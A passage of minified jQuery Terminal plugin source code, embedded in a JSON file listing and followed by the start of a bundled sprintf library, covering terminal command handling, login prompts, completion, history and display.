i={finalize:function(e){e.addClass(\"command\")}};if(e.isFunction(t)){t(function(e){se.echo(e+n,i)})}else{se.echo(t+n,i)}}function P(e){var n=Z.get()[e[0]];if(!n){throw new Error(Ae.invalidTerminalId)}var t=e[1];if(ee[t]){n.import_view(ee[t])}else{te=false;var r=e[2];if(r){n.exec(r).then(function(){te=true;ee[t]=n.export_view()})}}}function j(){if(te){re=false;location.hash=\"#\"+JSON.stringify(ne);setTimeout(function(){re=true},100)}}var N=true;var $=[];function z(t,r,i){if(N){N=false;if(Ce.historyState||Ce.execHash&&i){if(!ee.length){se.save_state()}else{se.save_state(null)}}}function o(){if(!i){te=true;if(Ce.historyState){se.save_state(t,false)}te=f}l.resolve();if(e.isFunction(Ce.onAfterCommand)){Ce.onAfterCommand.call(se,se,t)}}try{if(e.isFunction(Ce.onBeforeCommand)){if(Ce.onBeforeCommand.call(se,se,t)===false){return}}if(!i){fe=e.terminal.split_command(t)}if(!G()){if(i&&(e.isFunction(Ce.historyFilter)&&Ce.historyFilter(t)||t.match(Ce.historyFilter))){Be.history().append(t)}}var a=De.top();if(!r&&Ce.echoCommand){O(t)}var l=new e.Deferred;var f=te;if(t.match(/^\\s*login\\s*$/)&&se.token(true)){if(se.level()>1){se.logout(true)}else{se.logout()}o()}else if(Ce.exit&&t.match(/^\\s*exit\\s*$/)&&!ke){var c=se.level();if(c===1&&se.get_token()||c>1){if(se.get_token(true)){se.set_token(n,true)}se.pop()}o()}else if(Ce.clear&&t.match(/^\\s*clear\\s*$/)&&!ke){se.clear();o()}else{var u=ue.length-1;var p=a.interpreter.call(se,t,se);if(p!==n){se.pause(Ce.softPause);return e.when(p).then(function(e){if(e&&u===ue.length-1){s(e)}o();se.resume()})}else if(Oe){$.push(function(){o()})}else{o()}}return l.promise()}catch(m){y(m,\"USER\");se.resume();throw m}}function H(){if(e.isFunction(Ce.onBeforeLogout)){try{if(Ce.onBeforeLogout.call(se,se)===false){return}}catch(n){y(n,\"onBeforeLogout\")}}D();if(e.isFunction(Ce.onAfterLogout)){try{Ce.onAfterLogout.call(se,se)}catch(n){y(n,\"onAfterlogout\")}}se.login(Ce.login,true,J)}function D(){var e=se.prefix_name(true)+\"_\";Se.remove(e+\"token\");Se.remove(e+\"login\")}function B(n){var t=se.prefix_name()+\"_interpreters\";var r=Se.get(t);if(r){r=e.parseJSON(r)}else{r=[]}if(e.inArray(n,r)===-1){r.push(n);Se.set(t,JSON.stringify(r))}}function K(n){var t=De.top();var r=se.prefix_name(true);if(!G()){B(r)}Be.name(r);if(e.isFunction(t.prompt)){Be.prompt(function(e){t.prompt.call(se,e,se)})}else{Be.prompt(t.prompt)}if(e.isPlainObject(t.keymap)){Be.keymap(e.omap(t.keymap,function(e,n){return function(){var e=[].slice.call(arguments);try{return n.apply(se,e)}catch(t){y(t,\"USER KEYMAP\");throw t}}}))}Be.set(\"\");_e.resolve();if(!n&&e.isFunction(t.onStart)){t.onStart.call(se,se)}}function q(){if(re&&Ce.execHash){try{if(location.hash){var n=location.hash.replace(/^#/,\"\");ne=e.parseJSON(decodeURIComponent(n))}else{ne=[]}if(ne.length){P(ne[ne.length-1])}else if(ee[0]){se.import_view(ee[0])}}catch(t){y(t,\"TERMINAL\")}}}function J(){K();L();if(ue.length){C()}var n=false;if(e.isFunction(Ce.onInit)){xe=function(){n=true};try{Ce.onInit.call(se,se)}catch(t){y(t,\"OnInit\")}finally{xe=e.noop;if(!n&&se.enabled()){se.resume()}}}if(ie){ie=false;e(window).on(\"hashchange\",q)}}function G(){return ke||Be.mask()!==false}function Y(t){var r,i=De.top();if(e.isFunction(i.keydown)){r=i.keydown.call(se,t,se);if(r!==n){return r}}else if(e.isFunction(Ce.keydown)){r=Ce.keydown.call(se,t,se);if(r!==n){return r}}}var X={\"CTRL+D\":function(e,t){if(!ke){if(Be.get()===\"\"){if(De.size()>1||Ce.login!==n){se.pop(\"\")}else{se.resume();se.echo(\"\")}}else{t()}}return false},\"CTRL+L\":function(){se.clear()},TAB:function(t,r){var i=De.top(),o;if(Ce.completion&&e.type(Ce.completion)!==\"boolean\"&&i.completion===n){o=Ce.completion}else{o=i.completion}if(o===\"settings\"){o=Ce.completion}if(o){switch(e.type(o)){case\"function\":var a=se.before_cursor(Ce.wordAutocomplete);if(o.length===3){var s=new Error(Ae.comletionParameters);y(s,\"USER\");return false}o.call(se,a,function(e){se.complete(e,{echo:true})});break;case\"array\":se.complete(o,{echo:true});break;default:throw new Error(Ae.invalidCompletion)}}else{r()}return false},\"CTRL+V\":function(e,n){n(e);se.oneTime(200,function(){_()});return true},\"CTRL+TAB\":function(){if(Z.length()>1){se.focus(false);return false}},PAGEDOWN:function(){se.scroll(se.height())},PAGEUP:function(){se.scroll(-se.height())}};function oe(t){var r,i;if(se.enabled()){if(!se.paused()){r=Y(t);if(r!==n){return r}if(t.which!==9){ce=0}se.attr({scrollTop:se.attr(\"scrollHeight\")})}else{if(!Ce.pauseEvents){r=Y(t);if(r!==n){return r}}if(t.which===68&&t.ctrlKey){if(Ce.pauseEvents){r=Y(t);if(r!==n){return r}}if(Q.length){for(i=Q.length;i--;){var o=Q[i];if(o.readyState!==4){try{o.abort()}catch(a){if(e.isFunction(Ce.exceptionHandler)){Ce.exceptionHandler.call(se,t,\"AJAX ABORT\")}else{se.error(Ae.ajaxAbortError)}}}}Q=[]}se.resume();return false}}}}function ae(e){return function(n){if(e.state()!==\"resolved\"){e.then(n.bind(se))}else{n.call(se)}}}var se=this;if(this.length>1){return this.each(function(){e.fn.terminal.call(e(this),t,e.extend({name:se.selector},i))})}if(se.data(\"terminal\")){return se.data(\"terminal\")}if(se.length===0){throw sprintf(e.terminal.defaults.strings.invalidSelector,se.selector)}var le;var fe;var ce=0;var ue=[];var pe;var me=Z.length();var he;var de;var ge;var ve=new d;var ye=e.Deferred();var _e=e.Deferred();var we=ae(_e);var be=ae(ye);var ke=false;var xe=e.noop;var Te,Ee;var Re=[];var Ce=e.extend({},e.terminal.defaults,{name:se.selector},i||{});var Se=new o(Ce.memory);var Ae=e.extend({},e.terminal.defaults.strings,Ce.strings);var Fe=Ce.enabled,Le=false;var Oe=false;var Pe=true;e.extend(se,e.omap({id:function(){return me},clear:function(){pe.html(\"\");ue=[];try{Ce.onClear.call(se,se)}catch(e){y(e,\"onClear\")}se.attr({scrollTop:0});return se},export_view:function(){var n={};if(e.isFunction(Ce.onExport)){try{n=Ce.onExport.call(se)}catch(t){y(t,\"onExport\")}}return e.extend({},{focus:Fe,mask:Be.mask(),prompt:se.get_prompt(),command:se.get_command(),position:Be.position(),lines:r(ue),interpreters:De.clone(),history:Be.history().data},n)},import_view:function(n){if(ke){throw new Error(sprintf(Ae.notWhileLogin,\"import_view\"))}if(e.isFunction(Ce.onImport)){try{Ce.onImport.call(se,n)}catch(t){y(t,\"onImport\")}}we(function i(){se.set_prompt(n.prompt);se.set_command(n.command);Be.position(n.position);Be.mask(n.mask);if(n.focus){se.focus()}ue=r(n.lines);De=n.interpreters;if(Ce.importHistory){Be.history().set(n.history)}C()});return se},save_state:function(t,r,i){if(typeof i!==\"undefined\"){ee[i]=se.export_view()}else{ee.push(se.export_view())}if(!e.isArray(ne)){ne=[]}if(t!==n&&!r){var o=[me,ee.length-1,t];ne.push(o);j()}},exec:function(n,t,r){var i=r||new e.Deferred;be(function o(){if(e.isArray(n)){(function r(){var e=n.shift();if(e){se.exec(e,t).then(r)}else{i.resolve()}})()}else if(Oe){Re.push([n,t,i])}else{z(n,t,true).then(function(){i.resolve(se)})}});return i.promise()},autologin:function(e,n,t){se.trigger(\"terminal.autologin\",[e,n,t]);return se},login:function(t,r,i,o){ve.push([].slice.call(arguments));if(ke){throw new Error(sprintf(Ae.notWhileLogin,\"login\"))}if(!e.isFunction(t)){throw new Error(Ae.loginIsNotAFunction)}ke=true;if(se.token()&&se.level()===1&&!Pe){ke=false;se.logout(true)}else if(se.token(true)&&se.login_name(true)){ke=false;if(e.isFunction(i)){i()}return se}if(Ce.history){Be.history().disable()}var a=se.level();function s(t,s,l){if(s){while(se.level()>a){se.pop(n,true)}if(Ce.history){Be.history().enable()}var f=se.prefix_name(true)+\"_\";Se.set(f+\"token\",s);Se.set(f+\"login\",t);ke=false;if(e.isFunction(i)){i()}}else{if(r){if(!l){se.error(Ae.wrongPasswordTryAgain)}se.pop(n,true).set_mask(false)}else{ke=false;if(!l){se.error(Ae.wrongPassword)}se.pop(n,true).pop(n,true)}if(e.isFunction(o)){o()}}se.off(\"terminal.autologin\")}se.on(\"terminal.autologin\",function(e,n,t,r){s(n,t,r)});se.push(function(e){se.set_mask(Ce.maskChar).push(function(n){try{t.call(se,e,n,function(n,t){s(e,n,t)})}catch(r){y(r,\"AUTH\")}},{prompt:Ae.password+\": \",name:\"password\"})},{prompt:Ae.login+\": \",name:\"login\"});return se},settings:function(){return Ce},before_cursor:function(e){var n=Be.position();var t=Be.get().substring(0,n);var r=t.split(\" \");var i;if(e){if(r.length===1){i=r[0]}else{var o=t.match(/(\\\\?\")/g);var a=o?o.filter(function(e){return!e.match(/^\\\\/)}).length:0;o=t.match(/'/g);var s=o?o.length:0;if(s%2===1){i=t.match(/('[^']*)$/)[0]}else if(a%2===1){i=t.match(/(\"(?:[^\"]|\\\\\")*)$/)[0]}else{i=r[r.length-1];for(ze=r.length-1;ze>0;ze--){var l=r[ze-1];if(l[l.length-1]===\"\\\\\"){i=r[ze-1]+\" \"+i}else{break}}}}}else{i=t}return i},complete:function(n,t){t=e.extend({word:true,echo:false},t||{});var r=se.before_cursor(t.word).replace(/\\\\\"/g,'\"');var i=false;if(r.match(/^\"/)){i='\"'}else if(r.match(/^'/)){i=\"'\"}if(i){r=r.replace(/^[\"']/,\"\")}n=n.slice();if(Ce.clear&&e.inArray(\"clear\",n)===-1){n.push(\"clear\")}if(Ce.exit&&e.inArray(\"exit\",n)===-1){n.push(\"exit\")}if(ce%2===0){ge=se.before_cursor(t.word)}else{var o=se.before_cursor(t.word);if(o!==ge){return}}var a=e.terminal.escape_regex(r).replace(/\\\\([\"'() ])/g,\"\\\\?$1\");var s=new RegExp(\"^\"+a);var l=[];for(var f=n.length;f--;){if(s.test(n[f])){var c=n[f];if(i==='\"'){c=c.replace(/\"/g,'\\\\\"')}if(!i){c=c.replace(/([\"'() ])/g,\"\\\\$1\")}l.push(c)}}if(l.length===1){se.insert(l[0].replace(s,\"\")+(i||\"\"));ge=se.before_cursor(t.word);return true}else if(l.length>1){if(++ce>=2){ce=0;if(t.echo){O();var u=l.reverse().join(\" \");se.echo(e.terminal.escape_brackets(u),{keepWords:true});return true}}else{var p=false;var m;e:for(m=r.length;m<l[0].length;++m){for(f=1;f<l.length;++f){if(l[0].charAt(m)!==l[f].charAt(m)){break e}}p=true}if(p){se.insert(l[0].slice(0,m).replace(s,\"\"));ge=se.before_cursor(t.word);return true}}}},commands:function(){return De.top().interpreter},set_interpreter:function(n,t){function r(){se.pause(Ce.softPause);h(n,!!t,function(n){se.resume();var t=De.top();e.extend(t,n);K(true)})}if(e.type(n)===\"string\"&&t){se.login(g(n,t),true,r)}else{r()}return se},greetings:function(){L();return se},paused:function(){return Oe},pause:function(n){be(function t(){xe();Oe=true;Be.disable();if(!n){Be.hidden()}if(e.isFunction(Ce.onPause)){Ce.onPause.call(se)}});return se},resume:function(){be(function n(){Oe=false;if(Z.front()===se){Be.enable()}Be.visible();var n=Re;Re=[];for(var t=0;t<n.length;++t){se.exec.apply(se,n[t])}se.trigger(\"resume\");var r=$.shift();if(r){r()}_();if(e.isFunction(Ce.onResume)){Ce.onResume.call(se)}});return se},cols:function(){return Ce.numChars?Ce.numChars:M(se)},rows:function(){return Ce.numRows?Ce.numRows:W(se)},history:function(){return Be.history()},history_state:function(e){function n(){Ce.historyState=true;if(!ee.length){se.save_state()}else if(Z.length()>1){se.save_state(null)}}if(e){if(typeof window.setImmediate===\"undefined\"){setTimeout(n,0)}else{setImmediate(n)}}else{Ce.historyState=false}return se},clear_history_state:function(){ne=[];ee=[];return se},next:function(){if(Z.length()===1){return se}else{Z.front().disable();var n=Z.rotate().enable();var t=n.offset().top-50;e(\"html,body\").animate({scrollTop:t},500);try{Ce.onTerminalChange.call(n,n)}catch(r){y(r,\"onTerminalChange\")}return n}},focus:function(e,n){be(function t(){var t;if(Z.length()===1){if(e===false){try{t=Ce.onBlur.call(se,se);if(!n&&t!==false||n){se.disable()}}catch(r){y(r,\"onBlur\")}}else{try{t=Ce.onFocus.call(se,se);if(!n&&t!==false||n){se.enable()}}catch(r){y(r,\"onFocus\")}}}else if(e===false){se.next()}else{var i=Z.front();if(i!==se){i.disable();if(!n){try{Ce.onTerminalChange.call(se,se)}catch(r){y(r,\"onTerminalChange\")}}}Z.set(se);se.enable()}});return se},freeze:function(e){we(function n(){if(e){se.disable();Le=true}else{Le=false;se.enable()}})},frozen:function(){return Le},enable:function(){if(!Fe&&!Le){if(he===n){se.resize()}be(function e(){if(!se.paused()){Be.enable()}Fe=true})}return se},disable:function(){be(function e(){Fe=false;Be.disable()});return se},enabled:function(){return Fe},signature:function(){var e=se.cols();var n;if(e<15){n=null}else if(e<35){n=0}else if(e<55){n=1}else if(e<64){n=2}else if(e<75){n=3}else{n=4}if(n!==null){return V[n].join(\"\\n\")+\"\\n\"}else{return\"\"}},version:function(){return e.terminal.version},cmd:function(){return Be},get_command:function(){return Be.get()},set_command:function(e){we(function n(){Be.set(e)});return se},insert:function(e,n){if(typeof e===\"string\"){we(function t(){var t=se.is_bottom();Be.insert(e,n);if(Ce.scrollOnEcho||t){_()}});return se}else{throw new Error(sprintf(Ae.notAString,\"insert\"))}},set_prompt:function(n){we(function t(){if(k(\"prompt\",n)){if(e.isFunction(n)){Be.prompt(function(e){n(e,se)})}else{Be.prompt(n)}De.top().prompt=n}});return se},get_prompt:function(){return De.top().prompt},set_mask:function(e){we(function n(){Be.mask(e===true?Ce.maskChar:e)});return se},get_output:function(n){if(n){return ue}else{return e.map(ue,function(n){return e.isFunction(n[0])?n[0]():n[0]}).join(\"\\n\")}},resize:function(n,t){if(!se.is(\":visible\")){se.stopTime(\"resize\");se.oneTime(500,\"resize\",function(){se.resize(n,t)})}else{if(n&&t){se.width(n);se.height(t)}n=se.width();t=se.height();var r=se.cols();var i=se.rows();if(r!==he||i!==de){he=r;de=i;C();var o=De.top();if(e.isFunction(o.resize)){o.resize(se)}else if(e.isFunction(Ce.onResize)){Ce.onResize.call(se,se)}_()}}return se},flush:function(){try{var n=se.is_bottom();var t;e.each(x,function(n,r){if(r===T){t=e(\"<div></div>\")}else if(e.isFunction(r)){t.appendTo(pe);try{r(t)}catch(i){y(i,\"USER:echo(finalize)\")}}else{e(\"<div/>\").html(r).appendTo(t).width(\"100%\")}});if(Ce.outputLimit>=0){var r;if(Ce.outputLimit===0){r=se.rows()}else{r=Ce.outputLimit}var i=pe.find(\"div div\");if(i.length>r){var o=i.length-r+1;var a=i.slice(0,o);var s=a.parent();a.remove();s.each(function(){var n=e(this);if(n.is(\":empty\")){n.remove()}})}}de=W(se);if(Ce.scrollOnEcho||n){_()}x=[]}catch(l){if(e.isFunction(Ce.exceptionHandler)){Ce.exceptionHandler.call(se,l,\"TERMINAL (Flush)\")}else{alert(\"[Flush] \"+v(l)+\"\\n\"+l.stack)}}return se},update:function(e,n){we(function t(){if(e<0){e=ue.length+e}if(!ue[e]){se.error(\"Invalid line number \"+e)}else{if(n===null){ue.splice(e,1)}else{ue[e][0]=n}C()}});return se},last_index:function(){return ue.length-1},echo:function(n,t){function r(n){try{var r=e.extend({flush:true,raw:Ce.raw,finalize:e.noop,keepWords:false,formatters:true},t||{});if(r.flush){if(x.length){se.flush()}x=[]}R(n,r);ue.push([n,e.extend(r,{exec:false})]);if(r.flush){se.flush()}}catch(i){if(e.isFunction(Ce.exceptionHandler)){Ce.exceptionHandler.call(se,i,\"TERMINAL (echo)\")}else{alert(\"[Terminal.echo] \"+v(i)+\"\\n\"+i.stack)}}}n=n||\"\";var i=e.type(n);if(i===\"function\"||i===\"string\"){r(n)}else{e.when(n).then(r)}return se},error:function(n,t){t=e.extend({},t,{raw:false,formatters:false});var r=e.terminal.escape_brackets(n).replace(/\\\\$/,\"&#92;\").replace(S,\"]$1[[;;;error]\");return se.echo(\"[[;;;error]\"+r+\"]\",t)},exception:function(n,t){var r=v(n);if(t){r=\"&#91;\"+t+\"&#93;: \"+r}if(r){se.error(r,{finalize:function(e){e.addClass(\"exception message\")},keepWords:true})}if(typeof n.fileName===\"string\"){se.pause(Ce.softPause);e.get(n.fileName,function(e){var t=n.lineNumber-1;var r=e.split(\"\\n\")[t];if(r){se.error(\"[\"+n.lineNumber+\"]: \"+r)}se.resume()},\"text\")}if(n.stack){var i=e.terminal.escape_brackets(n.stack);se.echo(i.split(/\\n/g).map(function(e){return\"[[;;;error]\"+e.replace(S,function(e){return\"]\"+e+\"[[;;;error]\"})+\"]\"}).join(\"\\n\"),{finalize:function(e){e.addClass(\"exception stack-trace\")},formatters:false})}},scroll:function(e){var n;e=Math.round(e);if(le.prop){if(e>le.prop(\"scrollTop\")&&e>0){le.prop(\"scrollTop\",0)}n=le.prop(\"scrollTop\");le.scrollTop(n+e)}else{if(e>le.attr(\"scrollTop\")&&e>0){le.attr(\"scrollTop\",0)}n=le.attr(\"scrollTop\");le.scrollTop(n+e)}return se},logout:function(e){if(ke){throw new Error(sprintf(Ae.notWhileLogin,\"logout\"))}we(function t(){if(e){var t=ve.pop();se.set_token(n,true);se.login.apply(se,t)}else if(De.size()===1&&se.token()){se.logout(true)}else{while(De.size()>1){if(se.token()){se.logout(true).pop().pop()}else{se.pop()}}}});return se},token:function(e){return Se.get(se.prefix_name(e)+\"_token\")},set_token:function(e,n){var t=se.prefix_name(n)+\"_token\";if(typeof e===\"undefined\"){Se.remove(t,e)}else{Se.set(t,e)}return se},get_token:function(e){return se.token(e)},login_name:function(e){return Se.get(se.prefix_name(e)+\"_login\")},name:function(){return De.top().name},prefix_name:function(e){var n=(Ce.name?Ce.name+\"_\":\"\")+me;if(e&&De.size()>1){var t=De.map(function(e){return e.name||\"\"}).slice(1).join(\"_\");if(t){n+=\"_\"+t}}return n},read:function(n,t){var r=new e.Deferred;se.push(function(n){se.pop();if(e.isFunction(t)){t(n)}r.resolve(n)},{prompt:n});return r.promise()},push:function(t,r){be(function i(){r=r||{};var i={infiniteLogin:false};var o=e.extend({},i,r);if(!o.name&&fe){o.name=fe.name}if(o.prompt===n){o.prompt=(o.name||\">\")+\" \"}var a=De.top();if(a){a.mask=Be.mask()}var s=Oe;function l(){Ce.onPush.call(se,a,De.top(),se);K()}h(t,!!r.login,function(n){De.push(e.extend({},n,o));if(o.completion===true){if(e.isArray(n.completion)){De.top().completion=n.completion}else if(!n.completion){De.top().completion=false}}if(o.login){var r;var i=e.type(o.login);if(i===\"function\"){r=o.infiniteLogin?e.noop:se.pop;\n\nse.login(o.login,o.infiniteLogin,l,r)}else if(e.type(t)===\"string\"&&i===\"string\"||i===\"boolean\"){r=o.infiniteLogin?e.noop:se.pop;se.login(g(t,o.login),o.infiniteLogin,l,r)}}else{l()}if(!s&&se.enabled()){se.resume()}})});return se},pop:function(t,r){if(t!==n){O(t)}var i=se.token(true);var o;if(De.size()===1){o=De.top();if(Ce.login){H();if(e.isFunction(Ce.onExit)){try{Ce.onExit.call(se,se)}catch(a){y(a,\"onExit\")}}}else{se.error(Ae.canExitError)}if(!r){Ce.onPop.call(se,o,null,se)}}else{if(i){D()}var s=De.pop();o=De.top();K();if(!r){Ce.onPop.call(se,s,o)}if(ke&&se.get_prompt()!==Ae.login+\": \"){ke=false}if(e.isFunction(s.onExit)){try{s.onExit.call(se,se)}catch(a){y(a,\"onExit\")}}se.set_mask(o.mask)}return se},option:function(n,t){if(typeof t===\"undefined\"){if(typeof n===\"string\"){return Ce[n]}else if(typeof n===\"object\"){e.each(n,function(e,n){Ce[e]=n})}}else{Ce[n]=t}return se},level:function(){return De.size()},reset:function(){we(function e(){se.clear();while(De.size()>1){De.pop()}J()});return se},purge:function(){we(function n(){var n=se.prefix_name()+\"_\";var t=Se.get(n+\"interpreters\");if(t){e.each(e.parseJSON(t),function(e,n){Se.remove(n+\"_commands\");Se.remove(n+\"_token\");Se.remove(n+\"_login\")})}Be.purge();Se.remove(n+\"interpreters\")});return se},destroy:function(){we(function n(){Be.destroy().remove();pe.remove();je.remove();e(document).unbind(\".terminal_\"+se.id());e(window).unbind(\".terminal_\"+se.id());se.unbind(\"click mousewheel mousedown mouseup\");se.removeData(\"terminal\").removeClass(\"terminal\");if(Ce.width){se.css(\"width\",\"\")}if(Ce.height){se.css(\"height\",\"\")}e(window).off(\"blur\",Ue).off(\"focus\",We);Ie.remove();Z.remove(me);if(!Z.length()){e(window).off(\"hashchange\")}});return se},scroll_to_bottom:_,is_bottom:function(){if(Ce.scrollBottomOffset===-1){return false}else{var n,t,r;if(se.is(\"body\")){n=e(document).height();t=e(window).scrollTop();r=window.innerHeight}else{n=le[0].scrollHeight;t=le.scrollTop();r=le.outerHeight()}var i=n-Ce.scrollBottomOffset;return t+r>i}}},function(e,n){return function(){try{return n.apply(se,[].slice.apply(arguments))}catch(t){if(e!==\"exec\"&&e!==\"resume\"){y(t,\"TERMINAL\")}throw t}}}));if(Ce.width){se.width(Ce.width)}if(Ce.height){se.height(Ce.height)}le=se.scroll_element();e(document).bind(\"ajaxSend.terminal_\"+se.id(),function(e,n){Q.push(n)});var je=e('<div class=\"terminal-wrapper\"/>').appendTo(se);var Ie=e(\"<iframe/>\").appendTo(je);pe=e(\"<div>\").addClass(\"terminal-output\").appendTo(je);se.addClass(\"terminal\");if(Ce.login&&e.isFunction(Ce.onBeforeLogin)){try{if(Ce.onBeforeLogin.call(se,se)===false){Pe=false}}catch(Ne){y(Ne,\"onBeforeLogin\");throw Ne}}var $e;if(typeof t===\"string\"){$e=t}else if(t instanceof Array){for(var ze=0,He=t.length;ze<He;++ze){if(typeof t[ze]===\"string\"){$e=t[ze];break}}}if($e&&(typeof Ce.login===\"string\"||Ce.login===true)){Ce.login=g($e,Ce.login)}Z.append(se);var De;var Be;var Me;function We(){if(Me){se.focus()}}function Ue(){Me=Fe;se.disable()}h(t,!!Ce.login,function(t){if(Ce.completion&&typeof Ce.completion!==\"boolean\"||!Ce.completion){t.completion=\"settings\"}var r=e.extend({},X,Ce.keymap||{});De=new d(e.extend({},Ce.extra,{name:Ce.name,prompt:Ce.prompt,keypress:Ce.keypress,keydown:Ce.keydown,resize:Ce.onResize,greetings:Ce.greetings,mousewheel:Ce.mousewheel,keymap:r},t));Be=e(\"<div/>\").appendTo(je).cmd({prompt:Ce.prompt,history:Ce.memory?\"memory\":Ce.history,historyFilter:Ce.historyFilter,historySize:Ce.historySize,width:\"100%\",enabled:Fe&&!w,pauseEvents:Ce.pauseEvents,keydown:oe,keymap:r,clickTimeout:Ce.clickTimeout,keypress:function(n){var t=De.top();if(e.isFunction(t.keypress)){return t.keypress.call(se,n,se)}else if(e.isFunction(Ce.keypress)){return Ce.keypress.call(se,n,se)}},onCommandChange:function(n){if(e.isFunction(Ce.onCommandChange)){try{Ce.onCommandChange.call(se,n,se)}catch(t){y(t,\"onCommandChange\");throw t}}_()},commands:z});if(Fe&&se.is(\":visible\")&&!w){se.focus(n,true)}else{se.disable()}se.oneTime(100,function(){function n(n){var t=e(n.target);if(!t.closest(\".terminal\").length&&se.enabled()&&Ce.onBlur.call(se,se)!==false){se.disable()}}e(document).bind(\"click.terminal_\"+se.id(),n).bind(\"contextmenu.terminal_\"+se.id(),n)});var i=e(window);if(!w){i.on(\"focus.terminal_\"+se.id(),We).on(\"blur.terminal_\"+se.id(),Ue)}else{}if(w){se.click(function(){if(!se.enabled()&&!Le){se.focus();Be.enable()}else{se.focus(false)}})}else{(function(){var n=0;var t=false;var r;se.mousedown(function(i){var o=e(i.target).parents();if(o.addBack){r=o.addBack()}else{r=o.andSelf()}se.oneTime(1,function(){e(window).on(\"mousemove.terminal_\"+se.id(),function(){t=true;n=0;e(window).off(\"mousemove.terminal_\"+se.id())})})}).mouseup(function(){var i=t;t=false;e(window).off(\"mousemove.terminal_\"+se.id());if(!i){if(++n===1){if(!se.enabled()&&!Le){se.focus();Be.enable();n=0}else{var o=\"click_\"+se.id();se.oneTime(Ce.clickTimeout,o,function(){if(!r.is(\".terminal-output\")&&!r.is(\".cmd\")&&r.is(\".terminal > div\")){var e=Be.get().length;Be.position(e)}n=0})}}else{se.stopTime(\"click_\"+se.id());n=0}}}).dblclick(function(){n=0;se.stopTime(\"click_\"+se.id())})})()}se.delegate(\".exception a\",\"click\",function(n){var t=e(this).attr(\"href\");if(t.match(/:[0-9]+$/)){n.preventDefault();l(t)}});se.mousedown(function(e){if(e.which===2){var n=U();se.insert(n)}});if(se.is(\":visible\")){he=se.cols();Be.resize(he);de=W(se)}ye.resolve();if(Ce.login){se.login(Ce.login,true,J)}else{J()}function o(){if(se.is(\":visible\")){var e=se.width();var n=se.height();if(Ee!==n||Te!==e){se.resize()}Ee=n;Te=e}}se.oneTime(100,function(){function e(){Ie[0].contentWindow.onresize=o}if(Ie.is(\":visible\")){e()}else{Ie.on(\"load\",e)}});function a(n){var t=Z.get()[n[0]];if(t&&me===t.id()){if(n[2]){try{if(Oe){var r=e.Deferred();$.push(function(){return t.exec(n[2]).then(function(){t.save_state(n[2],true,n[1]);r.resolve()})});return r.promise()}else{return t.exec(n[2]).then(function(){t.save_state(n[2],true,n[1])})}}catch(i){var o=t.settings();if(e.isFunction(o.exceptionHandler)){o.exceptionHandler.call(se,i,\"EXEC HASH\")}else{var a=e.terminal.escape_brackets(ge);var s=\"Error while exec with command \"+a;t.error(s).exception(i)}}}}}if(Ce.execHash){if(location.hash){setTimeout(function(){try{var n=location.hash.replace(/^#/,\"\");ne=e.parseJSON(decodeURIComponent(n));var t=0;(function i(){var e=ne[t++];if(e){a(e).then(i)}else{te=true}})()}catch(r){}})}else{te=true}}else{te=true}if(e.event.special.mousewheel){var s=false;e(document).bind(\"keydown.terminal_\"+se.id(),function(e){if(e.shiftKey){s=true}}).bind(\"keyup.terminal_\"+se.id(),function(e){if(e.shiftKey||e.which===16){s=false}});se.mousewheel(function(n,t){if(!s){var r=De.top();var i;if(e.isFunction(r.mousewheel)){i=r.mousewheel(n,t,se);if(i===false){return}}else if(e.isFunction(Ce.mousewheel)){i=Ce.mousewheel(n,t,se);if(i===false){return}}if(t>0){se.scroll(-40)}else{se.scroll(40)}}})}});se.data(\"terminal\",se);return se}})(jQuery);"
  },
  {
    "path": "antSword/static/libs/terminal/js/jquery.terminal-min.js",
    "content": "(function(ctx){var sprintf=function(){if(!sprintf.cache.hasOwnProperty(arguments[0])){sprintf.cache[arguments[0]]=sprintf.parse(arguments[0])}return sprintf.format.call(null,sprintf.cache[arguments[0]],arguments)};sprintf.format=function(parse_tree,argv){var cursor=1,tree_length=parse_tree.length,node_type=\"\",arg,output=[],i,k,match,pad,pad_character,pad_length;for(i=0;i<tree_length;i++){node_type=get_type(parse_tree[i]);if(node_type===\"string\"){output.push(parse_tree[i])}else if(node_type===\"array\"){match=parse_tree[i];if(match[2]){arg=argv[cursor];for(k=0;k<match[2].length;k++){if(!arg.hasOwnProperty(match[2][k])){throw sprintf('[sprintf] property \"%s\" does not exist',match[2][k])}arg=arg[match[2][k]]}}else if(match[1]){arg=argv[match[1]]}else{arg=argv[cursor++]}if(/[^s]/.test(match[8])&&get_type(arg)!=\"number\"){throw sprintf(\"[sprintf] expecting number but found %s\",get_type(arg))}switch(match[8]){case\"b\":arg=arg.toString(2);break;case\"c\":arg=String.fromCharCode(arg);break;case\"d\":arg=parseInt(arg,10);break;case\"e\":arg=match[7]?arg.toExponential(match[7]):arg.toExponential();break;case\"f\":arg=match[7]?parseFloat(arg).toFixed(match[7]):parseFloat(arg);break;case\"o\":arg=arg.toString(8);break;case\"s\":arg=(arg=String(arg))&&match[7]?arg.substring(0,match[7]):arg;break;case\"u\":arg=arg>>>0;break;case\"x\":arg=arg.toString(16);break;case\"X\":arg=arg.toString(16).toUpperCase();break}arg=/[def]/.test(match[8])&&match[3]&&arg>=0?\"+\"+arg:arg;pad_character=match[4]?match[4]==\"0\"?\"0\":match[4].charAt(1):\" \";pad_length=match[6]-String(arg).length;pad=match[6]?str_repeat(pad_character,pad_length):\"\";output.push(match[5]?arg+pad:pad+arg)}}return output.join(\"\")};sprintf.cache={};sprintf.parse=function(fmt){var _fmt=fmt,match=[],parse_tree=[],arg_names=0;while(_fmt){if((match=/^[^\\x25]+/.exec(_fmt))!==null){parse_tree.push(match[0])}else if((match=/^\\x25{2}/.exec(_fmt))!==null){parse_tree.push(\"%\")}else if((match=/^\\x25(?:([1-9]\\d*)\\$|\\(([^\\)]+)\\))?(\\+)?(0|'[^$])?(-)?(\\d+)?(?:\\.(\\d+))?([b-fosuxX])/.exec(_fmt))!==null){if(match[2]){arg_names|=1;var field_list=[],replacement_field=match[2],field_match=[];if((field_match=/^([a-z_][a-z_\\d]*)/i.exec(replacement_field))!==null){field_list.push(field_match[1]);while((replacement_field=replacement_field.substring(field_match[0].length))!==\"\"){if((field_match=/^\\.([a-z_][a-z_\\d]*)/i.exec(replacement_field))!==null){field_list.push(field_match[1])}else if((field_match=/^\\[(\\d+)\\]/.exec(replacement_field))!==null){field_list.push(field_match[1])}else{throw\"[sprintf] huh?\"}}}else{throw\"[sprintf] huh?\"}match[2]=field_list}else{arg_names|=2}if(arg_names===3){throw\"[sprintf] mixing positional and named placeholders is not (yet) supported\"}parse_tree.push(match)}else{throw\"[sprintf] huh?\"}_fmt=_fmt.substring(match[0].length)}return parse_tree};var 